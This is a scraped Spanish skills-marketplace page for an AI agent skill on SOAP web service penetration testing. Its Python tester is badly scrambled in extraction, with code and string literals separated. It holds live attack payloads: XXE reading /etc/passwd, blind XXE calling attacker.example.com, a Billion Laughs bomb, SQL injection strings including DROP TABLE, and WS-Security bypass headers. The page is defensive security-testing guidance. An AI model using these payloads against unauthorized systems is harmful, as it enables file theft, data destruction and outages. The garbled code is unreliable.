Skip to main content Inicio Creadores oyi77 1ai-skills performing-soap-web-service-security-testing
performing-soap-web-service-security-testing Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing. Use when performing security testing of soap web services by analyzing wsdl.
Ir a la instalación Skills Marketplace Descubre y explora habilidades de IA creadas por la comunidad.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Copiar promptMostrar detalles del prompt Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.
npx skills add https://github.com/oyi77/1ai-skills --skill performing-soap-web-service-security-testingEl comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.
¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.
Descargar Zip Descargando... Ocupaciones relacionadas SOC
Basado en la clasificación ocupacional SOC
name performing-soap-web-service-security-testing description Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing. Use when performing security testing of soap web services by analyzing wsdl. domain cybersecurity subdomain api-security tags ["soap","web-services","wsdl","xml-injection","xxe","ws-security","penetration-testing","soapaction-spoofing","xpath-injection"] version 1.0 author oyi77 license Apache-2.0 nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
Performing SOAP Web Service Security Testing
Overview
SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.
When to Use
Trigger phrases:
"performing soap web service security testing"
"Perform security testing of SOAP web services by analyzing WSDL definitions and "
When conducting security assessments that involve performing soap web service security testing
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Target SOAP web service endpoint URL
WSDL file or URL access for the service
SoapUI or ReadyAPI for structured testing
Burp Suite with SOAP extensions for interception
Python 3.8+ with zeep and lxml libraries
Authorization to perform security testing
Testing Methodology
This section covers testing methodology for performing soap web service security testing.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
Phase 1: WSDL Reconnaissance
"""SOAP Web Service Security Testing Tool
Analyzes WSDL definitions and tests SOAP endpoints for
common vulnerabilities including XXE, injection, and
WS-Security misconfigurations.
"""
import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
typing , ,
dataclasses dataclass
:
name:
action:
input_message:
output_message:
parameters: [ ]
:
NAMESPACES = {
: ,
: ,
: ,
: ,
: ,
}
( ):
.wsdl_url = wsdl_url
.endpoint_url = endpoint_url
.operations: [SOAPOperation] = []
.findings: [ ] = []
( ) -> [SOAPOperation]:
response = requests.get( .wsdl_url, timeout= )
root = etree.fromstring(response.content)
.endpoint_url:
address = root.find( , .NAMESPACES)
address :
.endpoint_url = address.get( )
binding_op root.findall( , .NAMESPACES):
name = binding_op.get( )
soap_op = binding_op.find( , .NAMESPACES)
action = soap_op.get( , ) soap_op
operation = SOAPOperation(
name=name,
action=action,
input_message= ,
output_message= ,
parameters=[]
)
.operations.append(operation)
( )
op .operations:
( )
.operations
( ) -> :
xxe_payloads = [
{
: ,
: . (operation=operation.name)
},
{
: ,
: . (operation=operation.name)
},
{
: ,
: . (operation=operation.name)
}
]
results = []
xxe xxe_payloads:
:
response = requests.post(
.endpoint_url,
data=xxe[ ],
headers={
: ,
: operation.action,
},
timeout=
)
vulnerable =
indicators = []
response.text response.text:
vulnerable =
indicators.append( )
response.status_code == response.text:
indicators.append( )
response.elapsed.total_seconds() > :
indicators.append( )
vulnerable =
result = {
: xxe[ ],
: vulnerable,
: response.status_code,
: response.elapsed.total_seconds(),
: indicators
}
results.append(result)
vulnerable:
.findings.append({
: ,
: ,
: operation.name,
: xxe[ ]
})
requests.exceptions.Timeout:
results.append({
: xxe[ ],
: ,
: [ ]
})
{ : operation.name, : results}
( ) -> :
sqli_payloads = [
,
,
,
,
,
]
results = []
payload sqli_payloads:
soap_body =
:
response = requests.post(
.endpoint_url,
data=soap_body,
headers={
: ,
: operation.action,
},
timeout=
)
sql_errors = [
, , , ,
, ,
,
]
error_found = (err response.text err sql_errors)
error_found:
.findings.append({
: ,
: ,
: operation.name,
:
})
results.append({
: payload,
: response.status_code,
: error_found,
: response.elapsed.total_seconds()
})
requests.exceptions.RequestException:
{ : operation.name, : results}
( ) -> :
results = []
i, operation ( .operations):
j, other_op ( .operations):
i == j:
soap_body =
:
response = requests.post(
.endpoint_url,
data=soap_body,
headers={
: ,
: other_op.action,
},
timeout=
)
response.status_code == response.text:
.findings.append({
: ,
: ,
: operation.name,
:
})
results.append({
: operation.name,
: other_op.action,
:
})
requests.exceptions.RequestException:
{ : results}
( ) -> :
test_cases = [
{
: ,
:
},
{
: ,
:
},
{
: ,
:
}
]
results = []
test test_cases:
.operations:
operation = .operations[ ]
soap_body =
:
response = requests.post(
.endpoint_url,
data=soap_body,
headers={ : },
timeout=
)
accepted = response.status_code == response.text
accepted:
.findings.append({
: ,
: ,
: operation.name,
: test[ ]
})
results.append({
: test[ ],
: accepted,
: response.status_code
})
requests.exceptions.RequestException:
{ : results}
( ) -> :
{
: .endpoint_url,
: .wsdl_url,
: ( .operations),
: ( .findings),
: ([f f .findings f[ ] == ]),
: ([f f .findings f[ ] == ]),
: .findings
}
():
wsdl_url = sys.argv[ ] (sys.argv) >
tester = SOAPSecurityTester(wsdl_url)
( )
operations = tester.parse_wsdl()
op operations:
( )
tester.test_xxe_vulnerability(op)
tester.test_sql_injection(op)
tester.test_soapaction_spoofing()
tester.test_ws_security_bypass()
report = tester.generate_report()
( )
( )
( )
( )
( )
(
)
finding report[ ]:
( )
( )
( )
__name__ == :
main()
from
import
List
Dict
Optional
from
import
@dataclass
class
SOAPOperation
str
str
str
str
List
Dict
class
SOAPSecurityTester
'wsdl'
'http://schemas.xmlsoap.org/wsdl/'
'soap'
'http://schemas.xmlsoap.org/wsdl/soap/'
'soap12'
'http://schemas.xmlsoap.org/wsdl/soap12/'
'xsd'
'http://www.w3.org/2001/XMLSchema'
'wsse'
'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd'
def
__init__
self, wsdl_url: str , endpoint_url: Optional [str ] = None
self
self
self
List
self
List
dict
def
parse_wsdl
self
List
"""Parse WSDL to extract available operations and parameters."""
self
30
if
not
self
'.//soap:address'
self
if
is
not
None
self
'location'
for
in
'.//wsdl:binding/wsdl:operation'
self
'name'
'soap:operation'
self
'soapAction'
''
if
is
not
None
else
''
""
""
self
print
f"[+] Found {len (self.operations)} SOAP operations"
for
in
self
print
f" - {op.name} (SOAPAction: {op.action} )"
return
self
def
test_xxe_vulnerability
self, operation: SOAPOperation
dict
"""Test for XML External Entity (XXE) injection."""
"name"
"Classic XXE (file read)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&xxe;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
"name"
"Blind XXE (OOB)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
%xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>test</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
"name"
"XML Bomb (Billion Laughs)"
"payload"
'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&lol4;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''
format
for
in
try
self
"payload"
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
10
False
if
"root:"
in
or
"/bin/"
in
True
"File contents in response"
if
200
and
"Fault"
not
in
"No XML parsing error returned"
if
5
"Slow response (possible XML bomb)"
True
"test"
"name"
"vulnerable"
"status_code"
"response_time"
"indicators"
if
self
"severity"
"CRITICAL"
"type"
"XXE"
"operation"
"details"
"name"
except
"test"
"name"
"vulnerable"
True
"indicators"
"Request timed out - possible DoS via XML bomb"
return
"operation"
"xxe_results"
def
test_sql_injection
self, operation: SOAPOperation
dict
"""Test SOAP parameters for SQL injection."""
"' OR '1'='1"
"1; DROP TABLE users--"
"1' UNION SELECT NULL,NULL,NULL--"
"' OR 1=1; WAITFOR DELAY '0:0:5'--"
"admin'/*"
for
in
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name} >
<param>{payload} </param>
</{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
15
"SQL syntax"
"ORA-"
"mysql_"
"SQLSTATE"
"Microsoft OLE DB"
"Unclosed quotation mark"
"syntax error"
"PostgreSQL"
any
in
for
in
if
self
"severity"
"CRITICAL"
"type"
"SQL Injection"
"operation"
"details"
f"SQL error triggered with: {payload[:30 ]} ..."
"payload"
"status_code"
"sql_error_detected"
"response_time"
except
continue
return
"operation"
"sqli_results"
def
test_soapaction_spoofing
self
dict
"""Test for SOAPAction header spoofing vulnerability."""
for
in
enumerate
self
for
in
enumerate
self
if
continue
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name} >
<param>test</param>
</{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
"SOAPAction"
10
if
200
and
"Fault"
not
in
self
"severity"
"HIGH"
"type"
"SOAPAction Spoofing"
"operation"
"details"
f"Accepted with SOAPAction of {other_op.name} "
"body_operation"
"spoofed_action"
"accepted"
True
except
continue
return
"spoofing_results"
def
test_ws_security_bypass
self
dict
"""Test WS-Security token handling."""
"name"
"Missing WS-Security header"
"header"
""
"name"
"Empty security token"
"header"
'''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username></wsse:Username>
<wsse:Password></wsse:Password>
</wsse:UsernameToken>
</wsse:Security>'''
"name"
"Expired timestamp"
"header"
'''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<wsu:Timestamp>
<wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
<wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
</wsu:Timestamp>
</wsse:Security>'''
for
in
if
self
self
0
f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
{test["header" ]}
</soapenv:Header>
<soapenv:Body>
<{operation.name} ><param>test</param></{operation.name} >
</soapenv:Body>
</soapenv:Envelope>'''
try
self
"Content-Type"
"text/xml; charset=utf-8"
10
200
and
"Fault"
not
in
if
self
"severity"
"CRITICAL"
"type"
"WS-Security Bypass"
"operation"
"details"
"name"
"test"
"name"
"accepted"
"status_code"
except
continue
return
"ws_security_results"
def
generate_report
self
dict
"""Generate comprehensive security assessment report."""
return
"target"
self
"wsdl"
self
"operations_tested"
len
self
"total_findings"
len
self
"critical"
len
for
in
self
if
"severity"
"CRITICAL"
"high"
len
for
in
self
if
"severity"
"HIGH"
"findings"
self
def
main
1
if
len
1
else
"http://localhost:8080/ws?wsdl"
print
f"[*] Parsing WSDL: {wsdl_url} "
for
in
print
f"\n[*] Testing operation: {op.name} "
print
f"\n{'=' *60 } "
print
f"SOAP Security Assessment Report"
print
f"{'=' *60 } "
print
f"Target: {report['target' ]} "
print
f"Operations Tested: {report['operations_tested' ]} "
print
f"Findings: {report['total_findings' ]} "
f"(Critical: {report['critical' ]} , High: {report['high' ]} )"
for
in
'findings'
print
f"\n [{finding['severity' ]} ] {finding['type' ]} "
print
f" Operation: {finding['operation' ]} "
print
f" Details: {finding['details' ]} "
if
"__main__"
When NOT to Use
You don't have explicit written authorization to test
Task is about defense/detection, not offense (use detection skills)
You need to implement security controls (use implementing-* skills)
Task requires compliance auditing (use auditing-* skills)
You're investigating an incident (use incident response skills)
Target is out of scope for your engagement
Task is about vulnerability scanning only (use scanning tools)
Red Flags
Performing actions without explicit written authorization from the asset owner
Testing against production systems without a defined scope and rules of engagement
Testing without rate limiting, potentially causing service degradation
Storing sensitive test data (credentials, tokens) in plain text logs
Using automated scanners blindly without reviewing results for false positives
Verification
All steps executed successfully against a test environment before production use
Output documented with screenshots or logs demonstrating expected behavior
Vulnerabilities reproduced with proof-of-concept and impact analysis
False positives filtered out through manual verification
Fix recommendations include code-level remediation guidance
References
Process
Analyze the task requirements
Apply domain expertise
Verify output quality
Anti-Rationalization Table Rationalization Reality "We are too small to be targeted" Automated attacks target everyone. Size does not matter. "Security slows us down" A breach slows you down 100x more. Build security in from the start. "We will fix it after launch" Vulnerabilities in production are exploited within hours. Fix before deploy.